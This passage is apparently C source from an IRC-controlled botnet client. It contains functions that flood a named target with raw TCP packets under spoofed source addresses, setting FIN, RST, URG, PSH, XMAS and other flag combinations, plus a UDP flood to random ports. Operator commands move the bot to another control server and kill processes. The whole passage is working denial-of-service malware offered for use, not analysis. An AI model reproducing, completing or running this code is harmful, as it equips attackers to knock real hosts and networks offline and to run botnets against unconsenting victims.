  711.         unsigned long saddr, daddr,secs;
  712.         int get;
  713.         time_t start=time(NULL);
  714.         if (mfork(sender) != 0) return;
  715.         if (argc < 3) {
  716.                 Send(sock,"NOTICE %s :FIN <target> <port> <secs>\n",sender);
  717.                 exit(1);
  718.         }
  719.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  720.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  721.         daddr=host2ip(sender,argv[1]);
  722.         secs=atol(argv[3]);
  723.     dest=htons(atoi(argv[2]));
  724.         Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
  725.     send_tcp.ip.ihl = 5;
  726.         send_tcp.ip.version = 4;
  727.         send_tcp.ip.tos = 16;
  728.         send_tcp.ip.frag_off = 64;
  729.     send_tcp.ip.ttl = 255;
  730.     send_tcp.ip.protocol = 6;
  731.     send_tcp.tcp.doff = 5;
  732.         send_tcp.tcp.res1 = 0;
  733.         send_tcp.tcp.cwr = 0;
  734.         send_tcp.tcp.ece = 0;
  735.         send_tcp.tcp.urg = 0;
  736.         send_tcp.tcp.syn = 0;
  737.         send_tcp.tcp.psh = 0;
  738.     send_tcp.tcp.rst = 0;
  739.         send_tcp.tcp.fin = 1;
  740.         send_tcp.tcp.ack = 1;
  741.     send_tcp.tcp.window = 30845;
  742.         send_tcp.tcp.urg_ptr = 0;
  743.         while(1) {
  744.         saddr=getspoof();
  745.         if (atoi(argv[2]) == 0) dest=rand();
  746.                 send_tcp.ip.tot_len = htons(40+psize);
  747.                 send_tcp.ip.id = rand();
  748.                 send_tcp.ip.check = 0;
  749.                 send_tcp.ip.saddr = saddr;
  750.                 send_tcp.ip.daddr = daddr;
  751.                 send_tcp.tcp.source = rand();
  752.                 send_tcp.tcp.dest = dest;
  753.                 send_tcp.tcp.seq = rand();
  754.                 send_tcp.tcp.ack_seq = rand();
  755.                 send_tcp.tcp.check = 0;
  756.                 sin.sin_family = AF_INET;
  757.                 sin.sin_port = send_tcp.tcp.dest;
  758.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  759.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  760.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  761.                 pseudo_header.source_address = send_tcp.ip.saddr;
  762.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  763.                 pseudo_header.placeholder = 0;
  764.                 pseudo_header.protocol = IPPROTO_TCP;
  765.                 pseudo_header.tcp_length = htons(20+psize);
  766.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  767.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  768.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  769.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  770.                 if (a >= 50) {
  771.                         if (time(NULL) >= start+secs) exit(0);
  772.                         a=0;
  773.                 }
  774.                 a++;
  775.         }
  776.         close(get);
  777.         exit(0);
  778. }
  779. void cwr(int sock, char *sender, int argc, char **argv) {
  780.         struct send_tcp send_tcp;
  781.         struct pseudo_header pseudo_header;
  782.         struct sockaddr_in sin;
  783.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  784.         unsigned int psize=20, source, dest, check;
  785.         unsigned long saddr, daddr,secs;
  786.         int get;
  787.         time_t start=time(NULL);
  788.         if (mfork(sender) != 0) return;
  789.         if (argc < 3) {
  790.                 Send(sock,"NOTICE %s :CWR <target> <port> <secs>\n",sender);
  791.                 exit(1);
  792.         }
  793.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  794.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  795.         daddr=host2ip(sender,argv[1]);
  796.         secs=atol(argv[3]);
  797.     dest=htons(atoi(argv[2]));
  798.         Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
  799.     send_tcp.ip.ihl = 5;
  800.         send_tcp.ip.version = 4;
  801.         send_tcp.ip.tos = 16;
  802.         send_tcp.ip.frag_off = 64;
  803.     send_tcp.ip.ttl = 255;
  804.     send_tcp.ip.protocol = 6;
  805.     send_tcp.tcp.doff = 5;
  806.         send_tcp.tcp.res1 = 0;
  807.         send_tcp.tcp.cwr = 1;
  808.         send_tcp.tcp.ack = 1;
  809.         send_tcp.tcp.urg = 0;
  810.         send_tcp.tcp.ece = 0;
  811.         send_tcp.tcp.psh = 0;
  812.     send_tcp.tcp.rst = 0;
  813.         send_tcp.tcp.fin = 0;
  814.         send_tcp.tcp.syn = 0;
  815.     send_tcp.tcp.window = 30845;
  816.         send_tcp.tcp.urg_ptr = 0;
  817.         while(1) {
  818.         saddr=getspoof();
  819.         if (atoi(argv[2]) == 0) dest=rand();
  820.                 send_tcp.ip.tot_len = htons(40+psize);
  821.                 send_tcp.ip.id = rand();
  822.                 send_tcp.ip.check = 0;
  823.                 send_tcp.ip.saddr = saddr;
  824.                 send_tcp.ip.daddr = daddr;
  825.                 send_tcp.tcp.source = rand();
  826.                 send_tcp.tcp.dest = dest;
  827.                 send_tcp.tcp.seq = rand();
  828.                 send_tcp.tcp.ack_seq = rand();
  829.                 send_tcp.tcp.check = 0;
  830.                 sin.sin_family = AF_INET;
  831.                 sin.sin_port = send_tcp.tcp.dest;
  832.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  833.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  834.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  835.                 pseudo_header.source_address = send_tcp.ip.saddr;
  836.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  837.                 pseudo_header.placeholder = 0;
  838.                 pseudo_header.protocol = IPPROTO_TCP;
  839.                 pseudo_header.tcp_length = htons(20+psize);
  840.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  841.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  842.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  843.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  844.                 if (a >= 50) {
  845.                         if (time(NULL) >= start+secs) exit(0);
  846.                         a=0;
  847.                 }
  848.                 a++;
  849.         }
  850.         close(get);
  851.         exit(0);
  852. }
  853. void ece(int sock, char *sender, int argc, char **argv) {
  854.         struct send_tcp send_tcp;
  855.         struct pseudo_header pseudo_header;
  856.         struct sockaddr_in sin;
  857.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  858.         unsigned int psize=20, source, dest, check;
  859.         unsigned long saddr, daddr,secs;
  860.         int get;
  861.         time_t start=time(NULL);
  862.         if (mfork(sender) != 0) return;
  863.         if (argc < 3) {
  864.                 Send(sock,"NOTICE %s :ECE <target> <port> <secs>\n",sender);
  865.                 exit(1);
  866.         }
  867.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  868.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  869.         daddr=host2ip(sender,argv[1]);
  870.         secs=atol(argv[3]);
  871.     dest=htons(atoi(argv[2]));
  872.         Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
  873.     send_tcp.ip.ihl = 5;
  874.         send_tcp.ip.version = 4;
  875.         send_tcp.ip.tos = 16;
  876.         send_tcp.ip.frag_off = 64;
  877.     send_tcp.ip.ttl = 255;
  878.     send_tcp.ip.protocol = 6;
  879.     send_tcp.tcp.doff = 5;
  880.         send_tcp.tcp.res1 = 0;
  881.         send_tcp.tcp.cwr = 0;
  882.         send_tcp.tcp.ece = 1;
  883.         send_tcp.tcp.ack = 1;
  884.         send_tcp.tcp.urg = 0;
  885.         send_tcp.tcp.psh = 0;
  886.     send_tcp.tcp.rst = 0;
  887.         send_tcp.tcp.fin = 0;
  888.         send_tcp.tcp.syn = 0;
  889.     send_tcp.tcp.window = 30845;
  890.         send_tcp.tcp.urg_ptr = 0;
  891.         while(1) {
  892.         saddr=getspoof();
  893.         if (atoi(argv[2]) == 0) dest=rand();
  894.                 send_tcp.ip.tot_len = htons(40+psize);
  895.                 send_tcp.ip.id = rand();
  896.                 send_tcp.ip.check = 0;
  897.                 send_tcp.ip.saddr = saddr;
  898.                 send_tcp.ip.daddr = daddr;
  899.                 send_tcp.tcp.source = rand();
  900.                 send_tcp.tcp.dest = dest;
  901.                 send_tcp.tcp.seq = rand();
  902.                 send_tcp.tcp.ack_seq = rand();
  903.                 send_tcp.tcp.check = 0;
  904.                 sin.sin_family = AF_INET;
  905.                 sin.sin_port = send_tcp.tcp.dest;
  906.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  907.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  908.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  909.                 pseudo_header.source_address = send_tcp.ip.saddr;
  910.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  911.                 pseudo_header.placeholder = 0;
  912.                 pseudo_header.protocol = IPPROTO_TCP;
  913.                 pseudo_header.tcp_length = htons(20+psize);
  914.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  915.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  916.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  917.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  918.                 if (a >= 50) {
  919.                         if (time(NULL) >= start+secs) exit(0);
  920.                         a=0;
  921.                 }
  922.                 a++;
  923.         }
  924.         close(get);
  925.         exit(0);
  926. }
  927. void urg(int sock, char *sender, int argc, char **argv) {
  928.         struct send_tcp send_tcp;
  929.         struct pseudo_header pseudo_header;
  930.         struct sockaddr_in sin;
  931.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  932.         unsigned int psize=20, source, dest, check;
  933.         unsigned long saddr, daddr,secs;
  934.         int get;
  935.         time_t start=time(NULL);
  936.         if (mfork(sender) != 0) return;
  937.         if (argc < 3) {
  938.                 Send(sock,"NOTICE %s :URG <target> <port> <secs>\n",sender);
  939.                 exit(1);
  940.         }
  941.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  942.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  943.         daddr=host2ip(sender,argv[1]);
  944.         secs=atol(argv[3]);
  945.     dest=htons(atoi(argv[2]));
  946.         Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
  947.     send_tcp.ip.ihl = 5;
  948.         send_tcp.ip.version = 4;
  949.         send_tcp.ip.tos = 16;
  950.         send_tcp.ip.frag_off = 64;
  951.     send_tcp.ip.ttl = 255;
  952.     send_tcp.ip.protocol = 6;
  953.     send_tcp.tcp.doff = 5;
  954.         send_tcp.tcp.res1 = 0;
  955.         send_tcp.tcp.cwr = 0;
  956.         send_tcp.tcp.ece = 0;
  957.         send_tcp.tcp.syn = 0;
  958.         send_tcp.tcp.fin = 0;
  959.         send_tcp.tcp.psh = 0;
  960.     send_tcp.tcp.rst = 0;
  961.         send_tcp.tcp.urg = 1;
  962.         send_tcp.tcp.ack = 1;
  963.     send_tcp.tcp.window = 30845;
  964.         send_tcp.tcp.urg_ptr = 0;
  965.         while(1) {
  966.         saddr=getspoof();
  967.         if (atoi(argv[2]) == 0) dest=rand();
  968.                 send_tcp.ip.tot_len = htons(40+psize);
  969.                 send_tcp.ip.id = rand();
  970.                 send_tcp.ip.check = 0;
  971.                 send_tcp.ip.saddr = saddr;
  972.                 send_tcp.ip.daddr = daddr;
  973.                 send_tcp.tcp.source = rand();
  974.                 send_tcp.tcp.dest = dest;
  975.                 send_tcp.tcp.seq = rand();
  976.                 send_tcp.tcp.ack_seq = rand();
  977.                 send_tcp.tcp.check = 0;
  978.                 sin.sin_family = AF_INET;
  979.                 sin.sin_port = send_tcp.tcp.dest;
  980.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  981.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  982.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  983.                 pseudo_header.source_address = send_tcp.ip.saddr;
  984.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  985.                 pseudo_header.placeholder = 0;
  986.                 pseudo_header.protocol = IPPROTO_TCP;
  987.                 pseudo_header.tcp_length = htons(20+psize);
  988.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  989.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  990.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  991.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  992.                 if (a >= 50) {
  993.                         if (time(NULL) >= start+secs) exit(0);
  994.                         a=0;
  995.                 }
  996.                 a++;
  997.         }
  998.         close(get);
  999.         exit(0);
  1000. }
  1001. void psh(int sock, char *sender, int argc, char **argv) {
  1002.         struct send_tcp send_tcp;
  1003.         struct pseudo_header pseudo_header;
  1004.         struct sockaddr_in sin;
  1005.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1006.         unsigned int psize=20, source, dest, check;
  1007.         unsigned long saddr, daddr,secs;
  1008.         int get;
  1009.         time_t start=time(NULL);
  1010.         if (mfork(sender) != 0) return;
  1011.         if (argc < 3) {
  1012.                 Send(sock,"NOTICE %s :PSH <target> <port> <secs>\n",sender);
  1013.                 exit(1);
  1014.         }
  1015.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1016.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1017.         daddr=host2ip(sender,argv[1]);
  1018.         secs=atol(argv[3]);
  1019.     dest=htons(atoi(argv[2]));
  1020.         Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
  1021.     send_tcp.ip.ihl = 5;
  1022.         send_tcp.ip.version = 4;
  1023.         send_tcp.ip.tos = 16;
  1024.         send_tcp.ip.frag_off = 64;
  1025.     send_tcp.ip.ttl = 255;
  1026.     send_tcp.ip.protocol = 6;
  1027.     send_tcp.tcp.doff = 5;
  1028.         send_tcp.tcp.res1 = 0;
  1029.         send_tcp.tcp.cwr = 0;
  1030.         send_tcp.tcp.ece = 0;
  1031.         send_tcp.tcp.urg = 0;
  1032.         send_tcp.tcp.rst = 0;
  1033.         send_tcp.tcp.syn = 0;
  1034.     send_tcp.tcp.fin = 0;
  1035.         send_tcp.tcp.psh = 1;
  1036.         send_tcp.tcp.ack = 1;
  1037.     send_tcp.tcp.window = 30845;
  1038.         send_tcp.tcp.urg_ptr = 0;
  1039.         while(1) {
  1040.         saddr=getspoof();
  1041.         if (atoi(argv[2]) == 0) dest=rand();
  1042.                 send_tcp.ip.tot_len = htons(40+psize);
  1043.                 send_tcp.ip.id = rand();
  1044.                 send_tcp.ip.check = 0;
  1045.                 send_tcp.ip.saddr = saddr;
  1046.                 send_tcp.ip.daddr = daddr;
  1047.                 send_tcp.tcp.source = rand();
  1048.                 send_tcp.tcp.dest = dest;
  1049.                 send_tcp.tcp.seq = rand();
  1050.                 send_tcp.tcp.ack_seq = rand();
  1051.                 send_tcp.tcp.check = 0;
  1052.                 sin.sin_family = AF_INET;
  1053.                 sin.sin_port = send_tcp.tcp.dest;
  1054.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1055.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1056.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1057.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1058.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1059.                 pseudo_header.placeholder = 0;
  1060.                 pseudo_header.protocol = IPPROTO_TCP;
  1061.                 pseudo_header.tcp_length = htons(20+psize);
  1062.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1063.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1064.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1065.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1066.                 if (a >= 50) {
  1067.                         if (time(NULL) >= start+secs) exit(0);
  1068.                         a=0;
  1069.                 }
  1070.                 a++;
  1071.         }
  1072.         close(get);
  1073.         exit(0);
  1074. }
  1075. void rst(int sock, char *sender, int argc, char **argv) {
  1076.         struct send_tcp send_tcp;
  1077.         struct pseudo_header pseudo_header;
  1078.         struct sockaddr_in sin;
  1079.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1080.         unsigned int psize=20, source, dest, check;
  1081.         unsigned long saddr, daddr,secs;
  1082.         int get;
  1083.         time_t start=time(NULL);
  1084.         if (mfork(sender) != 0) return;
  1085.         if (argc < 3) {
  1086.                 Send(sock,"NOTICE %s :RST <target> <port> <secs>\n",sender);
  1087.                 exit(1);
  1088.         }
  1089.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1090.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1091.         daddr=host2ip(sender,argv[1]);
  1092.         secs=atol(argv[3]);
  1093.     dest=htons(atoi(argv[2]));
  1094.         Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
  1095.     send_tcp.ip.ihl = 5;
  1096.         send_tcp.ip.version = 4;
  1097.         send_tcp.ip.tos = 16;
  1098.         send_tcp.ip.frag_off = 64;
  1099.     send_tcp.ip.ttl = 255;
  1100.     send_tcp.ip.protocol = 6;
  1101.     send_tcp.tcp.doff = 5;
  1102.         send_tcp.tcp.res1 = 0;
  1103.         send_tcp.tcp.cwr = 0;
  1104.         send_tcp.tcp.ece = 0;
  1105.         send_tcp.tcp.urg = 0;
  1106.         send_tcp.tcp.fin = 0;
  1107.         send_tcp.tcp.psh = 0;
  1108.     send_tcp.tcp.rst = 1;
  1109.         send_tcp.tcp.ack = 1;
  1110.         send_tcp.tcp.syn = 0;
  1111.     send_tcp.tcp.window = 30845;
  1112.         send_tcp.tcp.urg_ptr = 0;
  1113.         while(1) {
  1114.         saddr=getspoof();
  1115.         if (atoi(argv[2]) == 0) dest=rand();
  1116.                 send_tcp.ip.tot_len = htons(40+psize);
  1117.                 send_tcp.ip.id = rand();
  1118.                 send_tcp.ip.check = 0;
  1119.                 send_tcp.ip.saddr = saddr;
  1120.                 send_tcp.ip.daddr = daddr;
  1121.                 send_tcp.tcp.source = rand();
  1122.                 send_tcp.tcp.dest = dest;
  1123.                 send_tcp.tcp.seq = rand();
  1124.                 send_tcp.tcp.ack_seq = rand();
  1125.                 send_tcp.tcp.check = 0;
  1126.                 sin.sin_family = AF_INET;
  1127.                 sin.sin_port = send_tcp.tcp.dest;
  1128.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1129.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1130.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1131.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1132.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1133.                 pseudo_header.placeholder = 0;
  1134.                 pseudo_header.protocol = IPPROTO_TCP;
  1135.                 pseudo_header.tcp_length = htons(20+psize);
  1136.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1137.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1138.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1139.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1140.                 if (a >= 50) {
  1141.                         if (time(NULL) >= start+secs) exit(0);
  1142.                         a=0;
  1143.                 }
  1144.                 a++;
  1145.         }
  1146.         close(get);
  1147.         exit(0);
  1148. }
  1149. void xmas(int sock, char *sender, int argc, char **argv) {
  1150.         struct send_tcp send_tcp;
  1151.         struct pseudo_header pseudo_header;
  1152.         struct sockaddr_in sin;
  1153.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1154.         unsigned int psize=20, source, dest, check;
  1155.         unsigned long saddr, daddr,secs;
  1156.         int get;
  1157.         time_t start=time(NULL);
  1158.         if (mfork(sender) != 0) return;
  1159.         if (argc < 3) {
  1160.                 Send(sock,"NOTICE %s :XMAS <target> <port> <secs>\n",sender);
  1161.                 exit(1);
  1162.         }
  1163.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1164.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1165.         daddr=host2ip(sender,argv[1]);
  1166.         secs=atol(argv[3]);
  1167.     dest=htons(atoi(argv[2]));
  1168.         Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
  1169.     send_tcp.ip.ihl = 5;
  1170.         send_tcp.ip.version = 4;
  1171.         send_tcp.ip.tos = 16;
  1172.         send_tcp.ip.frag_off = 64;
  1173.     send_tcp.ip.ttl = 255;
  1174.     send_tcp.ip.protocol = 6;
  1175.     send_tcp.tcp.doff = 5;
  1176.         send_tcp.tcp.res1 = 0;
  1177.         send_tcp.tcp.cwr = 0;
  1178.         send_tcp.tcp.ece = 0;
  1179.         send_tcp.tcp.syn = 1;
  1180.         send_tcp.tcp.fin = 1;
  1181.         send_tcp.tcp.urg = 1;
  1182.         send_tcp.tcp.psh = 1;
  1183.         send_tcp.tcp.ack = 1;
  1184.         send_tcp.tcp.rst = 0;
  1185.     send_tcp.tcp.window = 30845;
  1186.         send_tcp.tcp.urg_ptr = 0;
  1187.         while(1) {
  1188.         saddr=getspoof();
  1189.         if (atoi(argv[2]) == 0) dest=rand();
  1190.                 send_tcp.ip.tot_len = htons(40+psize);
  1191.                 send_tcp.ip.id = rand();
  1192.                 send_tcp.ip.check = 0;
  1193.                 send_tcp.ip.saddr = saddr;
  1194.                 send_tcp.ip.daddr = daddr;
  1195.                 send_tcp.tcp.source = rand();
  1196.                 send_tcp.tcp.dest = dest;
  1197.                 send_tcp.tcp.seq = rand();
  1198.                 send_tcp.tcp.ack_seq = rand();
  1199.                 send_tcp.tcp.check = 0;
  1200.                 sin.sin_family = AF_INET;
  1201.                 sin.sin_port = send_tcp.tcp.dest;
  1202.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1203.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1204.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1205.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1206.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1207.                 pseudo_header.placeholder = 0;
  1208.                 pseudo_header.protocol = IPPROTO_TCP;
  1209.                 pseudo_header.tcp_length = htons(20+psize);
  1210.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1211.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1212.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1213.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1214.                 if (a >= 50) {
  1215.                         if (time(NULL) >= start+secs) exit(0);
  1216.                         a=0;
  1217.                 }
  1218.                 a++;
  1219.         }
  1220.         close(get);
  1221.         exit(0);
  1222. }
  1223. void nsack(int sock, char *sender, int argc, char **argv) {
  1224.         struct send_tcp send_tcp;
  1225.         struct pseudo_header pseudo_header;
  1226.         struct sockaddr_in sin;
  1227.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1228.         unsigned int psize=20, source, dest, check;
  1229.         unsigned long saddr, daddr,secs;
  1230.         int get;
  1231.         time_t start=time(NULL);
  1232.         if (mfork(sender) != 0) return;
  1233.         if (argc < 3) {
  1234.                 Send(sock,"NOTICE %s :NSACK <target> <port> <secs>\n",sender);
  1235.                 exit(1);
  1236.         }
  1237.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1238.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1239.         daddr=host2ip(sender,argv[1]);
  1240.         secs=atol(argv[3]);
  1241.         dest=htons(atoi(argv[2]));
  1242.         Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
  1243.         send_tcp.ip.ihl = 5;
  1244.         send_tcp.ip.version = 4;
  1245.         send_tcp.ip.tos = 16;
  1246.         send_tcp.ip.frag_off = 64;
  1247.         send_tcp.ip.ttl = 255;
  1248.         send_tcp.ip.protocol = 6;
  1249.         send_tcp.tcp.doff = 5;
  1250.         send_tcp.tcp.res1 = 0;
  1251.         send_tcp.tcp.cwr = 0;
  1252.         send_tcp.tcp.ece = 0;
  1253.         send_tcp.tcp.urg = 0;
  1254.         send_tcp.tcp.ack = 1;
  1255.         send_tcp.tcp.psh = 1;
  1256.         send_tcp.tcp.rst = 0;
  1257.         send_tcp.tcp.fin = 0;
  1258.         send_tcp.tcp.syn = 0;
  1259.         send_tcp.tcp.window = 30845;
  1260.         send_tcp.tcp.urg_ptr = 0;
  1261.         while(1) {
  1262.                 saddr=INADDR_ANY;
  1263.                 if (atoi(argv[2]) == 0) dest=rand();
  1264.                 send_tcp.ip.tot_len = htons(40+psize);
  1265.                 send_tcp.ip.id = rand();
  1266.                 send_tcp.ip.check = 0;
  1267.                 send_tcp.ip.saddr = saddr;
  1268.                 send_tcp.ip.daddr = daddr;
  1269.                 send_tcp.tcp.source = rand();
  1270.                 send_tcp.tcp.dest = dest;
  1271.                 send_tcp.tcp.seq = rand();
  1272.                 send_tcp.tcp.ack_seq = rand();
  1273.                 send_tcp.tcp.check = 0;
  1274.                 sin.sin_family = AF_INET;
  1275.                 sin.sin_port = send_tcp.tcp.dest;
  1276.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1277.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1278.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1279.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1280.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1281.                 pseudo_header.placeholder = 0;
  1282.                 pseudo_header.protocol = IPPROTO_TCP;
  1283.                 pseudo_header.tcp_length = htons(20+psize);
  1284.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1285.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1286.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1287.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1288.                 if (a >= 50) {
  1289.                         if (time(NULL) >= start+secs) exit(0);
  1290.                         a=0;
  1291.                 }
  1292.                 a++;
  1293.         }
  1294.         close(get);
  1295.         exit(0);
  1296. }
  1297. void unknown(int sock, char *sender, int argc, char **argv) {
  1298.     int flag=1,fd,i;
  1299.     unsigned long secs;
  1300.     char *buf=(char*)malloc(9216);
  1301.     struct hostent *hp;
  1302.     struct sockaddr_in in;
  1303.         time_t start=time(NULL);
  1304.         if (mfork(sender) != 0) return;
  1305.         if (argc < 2) {
  1306.                 Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  1307.                 exit(1);
  1308.         }
  1309.         secs=atol(argv[2]);
  1310.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  1311.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  1312.     in.sin_family = AF_INET;
  1313.         Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]);
  1314.     while(1) {
  1315.         in.sin_port = rand();
  1316.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  1317.         else {
  1318.             flag=1;
  1319.             ioctl(fd,FIONBIO,&flag);
  1320.             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  1321.             close(fd);
  1322.         }
  1323.                 if (i >= 50) {
  1324.                         if (time(NULL) >= start+secs) break;
  1325.                         i=0;
  1326.                 }
  1327.                 i++;
  1328.     }
  1329.         close(fd);
  1330.     exit(0);
  1331. }
  1332. void move(int sock, char *sender, int argc, char **argv) {
  1333.         if (argc < 1) {
  1334.                 Send(sock,"NOTICE %s :MOVE <server>\n",sender);
  1335.                 exit(1);
  1336.         }
  1337.     server=strdup(argv[1]);
  1338.     changeservers=1;
  1339.     close(sock);
  1340. }
  1341. void killall(int sock, char *sender, int argc, char **argv) {
  1342.         unsigned long i;
  1343.         for (i=0;i<numpids;i++) {
  1344.                 if (pids[i] != 0 && pids[i] != getpid()) {
  1345.                         if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
  1346.                         kill(pids[i],9);
  1347.                 }
  1348.         }
  1349. }
  1350. void killd(int sock, char *sender, int argc, char **argv) {
  1351.     if (!disable) kill(0,9);
  1352.     else Send(sock,"NOTICE %s :Unable to comply.\n");
  1353. }
